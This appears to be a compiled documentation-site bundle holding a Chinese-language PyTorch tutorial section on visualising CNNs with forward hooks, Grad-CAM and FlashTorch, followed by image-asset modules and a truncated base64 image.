e86\u4e00\u4e2a\u4e13\u7528\u7684\u63a5\u53e3\u4f7f\u5f97\u7f51\u7edc\u5728\u524d\u5411\u4f20\u64ad\u8fc7\u7a0b\u4e2d\u80fd\u591f\u83b7\u53d6\u5230\u7279\u5f81\u56fe\uff0c\u8fd9\u4e2a\u63a5\u53e3\u7684\u540d\u79f0\u975e\u5e38\u5f62\u8c61\uff0c\u53eb\u505ahook\u3002\u53ef\u4ee5\u60f3\u8c61\u8fd9\u6837\u7684\u573a\u666f\uff0c\u6570\u636e\u901a\u8fc7\u7f51\u7edc\u5411\u524d\u4f20\u64ad\uff0c\u7f51\u7edc\u67d0\u4e00\u5c42\u6211\u4eec\u9884\u5148\u8bbe\u7f6e\u4e86\u4e00\u4e2a\u94a9\u5b50\uff0c\u6570\u636e\u4f20\u64ad\u8fc7\u540e\u94a9\u5b50\u4e0a\u4f1a\u7559\u4e0b\u6570\u636e\u5728\u8fd9\u4e00\u5c42\u7684\u6837\u5b50\uff0c\u8bfb\u53d6\u94a9\u5b50\u7684\u4fe1\u606f\u5c31\u662f\u8fd9\u4e00\u5c42\u7684\u7279\u5f81\u56fe\u3002\u5177\u4f53\u5b9e\u73b0\u5982\u4e0b\uff1a"}),"\n",(0,a.jsx)(e.pre,{children:(0,a.jsx)(e.code,{className:"language-python",children:"class Hook(object):\n def __init__(self):\n self.module_name = []\n self.features_in_hook = []\n self.features_out_hook = []\n\n def __call__(self,module, fea_in, fea_out):\n print(\"hooker working\", self)\n self.module_name.append(module.__class__)\n self.features_in_hook.append(fea_in)\n self.features_out_hook.append(fea_out)\n return None\n \n\ndef plot_feature(model, idx, inputs):\n hh = Hook()\n model.features[idx].register_forward_hook(hh)\n \n # forward_model(model,False)\n model.eval()\n _ = model(inputs)\n print(hh.module_name)\n print((hh.features_in_hook[0][0].shape))\n print((hh.features_out_hook[0].shape))\n \n out1 = hh.features_out_hook[0]\n\n total_ft = out1.shape[1]\n first_item = out1[0].cpu().clone() \n\n plt.figure(figsize=(20, 17))\n \n\n for ftidx in range(total_ft):\n if ftidx > 99:\n break\n ft = first_item[ftidx]\n plt.subplot(10, 10, ftidx+1) \n \n plt.axis('off')\n #plt.imshow(ft[ :, :].detach(),cmap='gray')\n plt.imshow(ft[ :, :].detach())\n"})}),"\n",(0,a.jsx)(e.p,{children:"\u8fd9\u91cc\u6211\u4eec\u9996\u5148\u5b9e\u73b0\u4e86\u4e00\u4e2ahook\u7c7b\uff0c\u4e4b\u540e\u5728plot_feature\u51fd\u6570\u4e2d\uff0c\u5c06\u8be5hook\u7c7b\u7684\u5bf9\u8c61\u6ce8\u518c\u5230\u8981\u8fdb\u884c\u53ef\u89c6\u5316\u7684\u7f51\u7edc\u7684\u67d0\u5c42\u4e2d\u3002model\u5728\u8fdb\u884c\u524d\u5411\u4f20\u64ad\u7684\u65f6\u5019\u4f1a\u8c03\u7528hook\u7684__call__\u51fd\u6570\uff0c\u6211\u4eec\u4e5f\u5c31\u662f\u5728\u90a3\u91cc\u5b58\u50a8\u4e86\u5f53\u524d\u5c42\u7684\u8f93\u5165\u548c\u8f93\u51fa\u3002\u8fd9\u91cc\u7684features_out_hook \u662f\u4e00\u4e2alist\uff0c\u6bcf\u6b21\u524d\u5411\u4f20\u64ad\u4e00\u6b21\uff0c\u90fd\u662f\u8c03\u7528\u4e00\u6b21\uff0c\u4e5f\u5c31\u662ffeatures_out_hook \u957f\u5ea6\u4f1a\u589e\u52a01\u3002"}),"\n",(0,a.jsx)(e.h2,{id:"723-cnn-class-activation-map\u53ef\u89c6\u5316\u65b9\u6cd5",children:"7.2.3 CNN class activation map\u53ef\u89c6\u5316\u65b9\u6cd5"}),"\n",(0,a.jsx)(e.p,{children:"class activation map \uff08CAM\uff09\u7684\u4f5c\u7528\u662f\u5224\u65ad\u54ea\u4e9b\u53d8\u91cf\u5bf9\u6a21\u578b\u6765\u8bf4\u662f\u91cd\u8981\u7684\uff0c\u5728CNN\u53ef\u89c6\u5316\u7684\u573a\u666f\u4e0b\uff0c\u5373\u5224\u65ad\u56fe\u50cf\u4e2d\u54ea\u4e9b\u50cf\u7d20\u70b9\u5bf9\u9884\u6d4b\u7ed3\u679c\u662f\u91cd\u8981\u7684\u3002\u9664\u4e86\u786e\u5b9a\u91cd\u8981\u7684\u50cf\u7d20\u70b9\uff0c\u4eba\u4eec\u4e5f\u4f1a\u5bf9\u91cd\u8981\u533a\u57df\u7684\u68af\u5ea6\u611f\u5174\u8da3\uff0c\u56e0\u6b64\u5728CAM\u7684\u57fa\u7840\u4e0a\u4e5f\u8fdb\u4e00\u6b65\u6539\u8fdb\u5f97\u5230\u4e86Grad-CAM\uff08\u4ee5\u53ca\u8bf8\u591a\u53d8\u79cd\uff09\u3002CAM\u548cGrad-CAM\u7684\u793a\u4f8b\u5982\u4e0b\u56fe\u6240\u793a\uff1a"}),"\n",(0,a.jsx)(e.p,{children:(0,a.jsx)(e.img,{alt:"cam",src:n(20514).A+"",width:"834",height:"360"})}),"\n",(0,a.jsx)(e.p,{children:"\u76f8\u6bd4\u53ef\u89c6\u5316\u5377\u79ef\u6838\u4e0e\u53ef\u89c6\u5316\u7279\u5f81\u56fe\uff0cCAM\u7cfb\u5217\u53ef\u89c6\u5316\u66f4\u4e3a\u76f4\u89c2\uff0c\u80fd\u591f\u4e00\u76ee\u4e86\u7136\u5730\u786e\u5b9a\u91cd\u8981\u533a\u57df\uff0c\u8fdb\u800c\u8fdb\u884c\u53ef\u89e3\u91ca\u6027\u5206\u6790\u6216\u6a21\u578b\u4f18\u5316\u6539\u8fdb\u3002CAM\u7cfb\u5217\u64cd\u4f5c\u7684\u5b9e\u73b0\u53ef\u4ee5\u901a\u8fc7\u5f00\u6e90\u5de5\u5177\u5305pytorch-grad-cam\u6765\u5b9e\u73b0\u3002"}),"\n",(0,a.jsxs)(e.ul,{children:["\n",(0,a.jsx)(e.li,{children:"\u5b89\u88c5"}),"\n"]}),"\n",(0,a.jsx)(e.pre,{children:(0,a.jsx)(e.code,{className:"language-bash",children:"pip install grad-cam\n"})}),"\n",(0,a.jsxs)(e.ul,{children:["\n",(0,a.jsx)(e.li,{children:"\u4e00\u4e2a\u7b80\u5355\u7684\u4f8b\u5b50"}),"\n"]}),"\n",(0,a.jsx)(e.pre,{children:(0,a.jsx)(e.code,{className:"language-python",children:"import torch\nfrom torchvision.models import vgg11,resnet18,resnet101,resnext101_32x8d\nimport matplotlib.pyplot as plt\nfrom PIL import Image\nimport numpy as np\n\nmodel = vgg11(pretrained=True)\nimg_path = './dog.png'\n# resize\u64cd\u4f5c\u662f\u4e3a\u4e86\u548c\u4f20\u5165\u795e\u7ecf\u7f51\u7edc\u8bad\u7ec3\u56fe\u7247\u5927\u5c0f\u4e00\u81f4\nimg = Image.open(img_path).resize((224,224))\n# \u9700\u8981\u5c06\u539f\u59cb\u56fe\u7247\u8f6c\u4e3anp.float32\u683c\u5f0f\u5e76\u4e14\u57280-1\u4e4b\u95f4 \nrgb_img = np.float32(img)/255\nplt.imshow(img)\n"})}),"\n",(0,a.jsx)(e.p,{children:(0,a.jsx)(e.img,{alt:"dog",src:n(42321).A+"",width:"256",height:"246"})}),"\n",(0,a.jsx)(e.pre,{children:(0,a.jsx)(e.code,{className:"language-python",children:"from pytorch_grad_cam import GradCAM,ScoreCAM,GradCAMPlusPlus,AblationCAM,XGradCAM,EigenCAM,FullGrad\nfrom pytorch_grad_cam.utils.model_targets import ClassifierOutputTarget\nfrom pytorch_grad_cam.utils.image import show_cam_on_image\n\n# \u5c06\u56fe\u7247\u8f6c\u4e3atensor\nimg_tensor = torch.from_numpy(rgb_img).permute(2,0,1).unsqueeze(0)\n\ntarget_layers = [model.features[-1]]\n# \u9009\u53d6\u5408\u9002\u7684\u7c7b\u6fc0\u6d3b\u56fe\uff0c\u4f46\u662fScoreCAM\u548cAblationCAM\u9700\u8981batch_size\ncam = GradCAM(model=model,target_layers=target_layers)\ntargets = [ClassifierOutputTarget(preds)] \n# \u4e0a\u65b9preds\u9700\u8981\u8bbe\u5b9a\uff0c\u6bd4\u5982ImageNet\u67091000\u7c7b\uff0c\u8fd9\u91cc\u53ef\u4ee5\u8bbe\u4e3a200\ngrayscale_cam = cam(input_tensor=img_tensor, targets=targets)\ngrayscale_cam = grayscale_cam[0, :]\ncam_img = show_cam_on_image(rgb_img, grayscale_cam, use_rgb=True)\nprint(type(cam_img))\nImage.fromarray(cam_img)\n"})}),"\n",(0,a.jsx)(e.p,{children:(0,a.jsx)(e.img,{alt:"grad_cam",src:n(29041).A+"",width:"234",height:"231"})}),"\n",(0,a.jsx)(e.h2,{id:"724-\u4f7f\u7528flashtorch\u5feb\u901f\u5b9e\u73b0cnn\u53ef\u89c6\u5316",children:"7.2.4 \u4f7f\u7528FlashTorch\u5feb\u901f\u5b9e\u73b0CNN\u53ef\u89c6\u5316"}),"\n",(0,a.jsxs)(e.p,{children:["\u806a\u660e\u7684\u4f60\u53ef\u80fd\u8981\u95ee\u4e86\uff0c\u5df2\u7ecf202x\u5e74\u4e86\uff0c\u96be\u9053\u8fd8\u8981\u6211\u4eec\u624b\u628a\u624b\u53bb\u5199\u5404\u79cdCNN\u53ef\u89c6\u5316\u7684\u4ee3\u7801\u5417\uff1f\u7b54\u6848\u5f53\u7136\u662f\u5426\u5b9a\u7684\u3002\u968f\u7740PyTorch\u793e\u533a\u7684\u52aa\u529b\uff0c\u76ee\u524d\u5df2\u7ecf\u6709\u4e0d\u5c11\u5f00\u6e90\u5de5\u5177\u80fd\u591f\u5e2e\u52a9\u6211\u4eec\u5feb\u901f\u5b9e\u73b0CNN\u53ef\u89c6\u5316\u3002\u8fd9\u91cc\u6211\u4eec\u4ecb\u7ecd\u5176\u4e2d\u7684\u4e00\u4e2a\u2014\u2014",(0,a.jsx)(e.a,{href:"https://github.com/MisaOgura/flashtorch",children:"FlashTorch"}),"\u3002"]}),"\n",(0,a.jsxs)(e.p,{children:["\uff08\u6ce8\uff1a\u4f7f\u7528\u4e2d\u53d1\u73b0\u8be5package\u5bf9\u73af\u5883\u6709\u8981\u6c42\uff0c\u5982\u679c\u4e0b\u65b9\u4ee3\u7801\u8fd0\u884c\u62a5\u9519\uff0c\u8bf7\u53c2\u8003\u4f5c\u8005\u7ed9\u51fa\u7684\u914d\u7f6e\u6216\u8005Colab\u8fd0\u884c\u73af\u5883\uff1a",(0,a.jsx)(e.a,{href:"https://github.com/MisaOgura/flashtorch/issues/39%EF%BC%89",children:"https://github.com/MisaOgura/flashtorch/issues/39\uff09"})]}),"\n",(0,a.jsxs)(e.ul,{children:["\n",(0,a.jsx)(e.li,{children:"\u5b89\u88c5"}),"\n"]}),"\n",(0,a.jsx)(e.pre,{children:(0,a.jsx)(e.code,{className:"language-bash",children:"pip install flashtorch\n"})}),"\n",(0,a.jsxs)(e.ul,{children:["\n",(0,a.jsx)(e.li,{children:"\u53ef\u89c6\u5316\u68af\u5ea6"}),"\n"]}),"\n",(0,a.jsx)(e.pre,{children:(0,a.jsx)(e.code,{className:"language-python",children:"# Download example images\n# !mkdir -p images\n# !wget -nv \\\n# https://github.com/MisaOgura/flashtorch/raw/master/examples/images/great_grey_owl.jpg \\\n# https://github.com/MisaOgura/flashtorch/raw/master/examples/images/peacock.jpg \\\n# https://github.com/MisaOgura/flashtorch/raw/master/examples/images/toucan.jpg \\\n# -P /content/images\n\nimport matplotlib.pyplot as plt\nimport torchvision.models as models\nfrom flashtorch.utils import apply_transforms, load_image\nfrom flashtorch.saliency import Backprop\n\nmodel = models.alexnet(pretrained=True)\nbackprop = Backprop(model)\n\nimage = load_image('/content/images/great_grey_owl.jpg')\nowl = apply_transforms(image)\n\ntarget_class = 24\nbackprop.visualize(owl, target_class, guided=True, use_gpu=True)\n"})}),"\n",(0,a.jsx)(e.p,{children:(0,a.jsx)(e.img,{alt:"ft-gradient",src:n(88062).A+"",width:"1814",height:"447"})}),"\n",(0,a.jsxs)(e.ul,{children:["\n",(0,a.jsx)(e.li,{children:"\u53ef\u89c6\u5316\u5377\u79ef\u6838"}),"\n"]}),"\n",(0,a.jsx)(e.pre,{children:(0,a.jsx)(e.code,{className:"language-python",children:'import torchvision.models as models\nfrom flashtorch.activmax import GradientAscent\n\nmodel = models.vgg16(pretrained=True)\ng_ascent = GradientAscent(model.features)\n\n# specify layer and filter info\nconv5_1 = model.features[24]\nconv5_1_filters = [45, 271, 363, 489]\n\ng_ascent.visualize(conv5_1, conv5_1_filters, title="VGG16: conv5_1")\n'})}),"\n",(0,a.jsx)(e.p,{children:(0,a.jsx)(e.img,{alt:"ft-activate",src:n(32681).A+"",width:"1821",height:"603"})}),"\n",(0,a.jsx)(e.h2,{id:"\u53c2\u8003\u8d44\u6599",children:"\u53c2\u8003\u8d44\u6599"}),"\n",(0,a.jsxs)(e.ol,{children:["\n",(0,a.jsx)(e.li,{children:(0,a.jsx)(e.a,{href:"https://andrewhuman.github.io/cnn-hidden-layout_search",children:"https://andrewhuman.github.io/cnn-hidden-layout_search"})}),"\n",(0,a.jsx)(e.li,{children:(0,a.jsx)(e.a,{href:"https://cloud.tencent.com/developer/article/1747222",children:"https://cloud.tencent.com/developer/article/1747222"})}),"\n",(0,a.jsx)(e.li,{children:(0,a.jsx)(e.a,{href:"https://github.com/jacobgil/pytorch-grad-cam",children:"https://github.com/jacobgil/pytorch-grad-cam"})}),"\n",(0,a.jsx)(e.li,{children:(0,a.jsx)(e.a,{href:"https://github.com/MisaOgura/flashtorch",children:"https://github.com/MisaOgura/flashtorch"})}),"\n"]})]})}function d(A={}){const{wrapper:e}={...(0,i.R)(),...A.components};return e?(0,a.jsx)(e,{...A,children:(0,a.jsx)(g,{...A})}):g(A)}},20514:(A,e,n)=>{n.d(e,{A:()=>t});const t=n.p+"assets/images/cam-86e63ecd417f308ff08029b53775208f.png"},23337:(A,e,n)=>{n.d(e,{A:()=>t});const t=n.p+"assets/images/layer3-d3e9a6646c5772e26eb8810e694ad550.png"},23510:(A,e,n)=>{n.d(e,{A:()=>t});const t=n.p+"assets/images/layer4-21f600e7458fc961f559751bc9adcc4a.png"},28453:(A,e,n)=>{n.d(e,{R:()=>s,x:()=>r});var t=n(96540);const a={},i=t.createContext(a);function s(A){const e=t.useContext(i);return t.useMemo(function(){return"function"==typeof A?A(e):{...e,...A}},[e,A])}function r(A){let e;return e=A.disableParentContext?"function"==typeof A.components?A.components(a):A.components||a:s(A.components),t.createElement(i.Provider,{value:e},A.children)}},29041:(A,e,n)=>{n.d(e,{A:()=>t});const t=n.p+"assets/images/cam_dog-dd862b5c3b09b7dcdedb52b230449607.png"},32681:(A,e,n)=>{n.d(e,{A:()=>t});const t=n.p+"assets/images/ft_activate-598a713e5892092429a2653272ab00ff.png"},42321:(A,e,n)=>{n.d(e,{A:()=>t});const t=n.p+"assets/images/dog-00ce26342776aeb213f4d1e38f33bc08.png"},68512:(A,e,n)=>{n.d(e,{A:()=>t});const t=n.p+"assets/images/layer2-dbfb8ad3c49d4c491b3622cfb7755c4a.png"},87343:(A,e,n)=>{n.d(e,{A:()=>t});const t="data:image/png;base64,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